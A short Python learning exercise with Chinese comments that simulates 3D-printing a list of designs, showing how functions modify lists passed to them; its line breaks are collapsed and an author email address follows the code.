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#在函数中修改列表 #首先创建一个列表，其中包含一些要打印的设计 unprinted_designs = ['iphone case', 'robot pendant', 'dodecahedron'] completed_models = [] #模拟打印每个设计，直到没有未打印的设计为止。打印后转移到completed_models中 while unprinted_designs: current_design = unprinted_designs.pop() #模拟根据设计制作的3D打印模型的过程 print("Printing model: " + current_design) completed_models.append(current_design) #显示打印好的模型 print("\nThe following models have been printed:") for completed_model in completed_models: print(completed_model) #可以分两个函数，第一个函数负责处理打印设计的工作，第二个函数将概述打印了哪些设计 def print_models(unprinted_designs, completed_models):#包含两个形参 """模拟打印每个设计，直到没有未打印的设计为止。打印后转移到completed_models中""" while unprinted_designs: current_design = unprinted_designs.pop() #模拟根据设计制作的3D打印模型的过程 print("Printing model: " + current_design) completed_models.append(current_design) def show_completed_models(completed_models): """显示打印好的所有模型""" for completed_model in completed_models: print(completed_model) unprinted_designs = ['iphone case', 'robot pendant', 'dodecahedron'] completed_models = [] print_models(unprinted_designs, completed_models) show_completed_models(completed_models)

[ "1210112866@qq.com" ]

1210112866@qq.com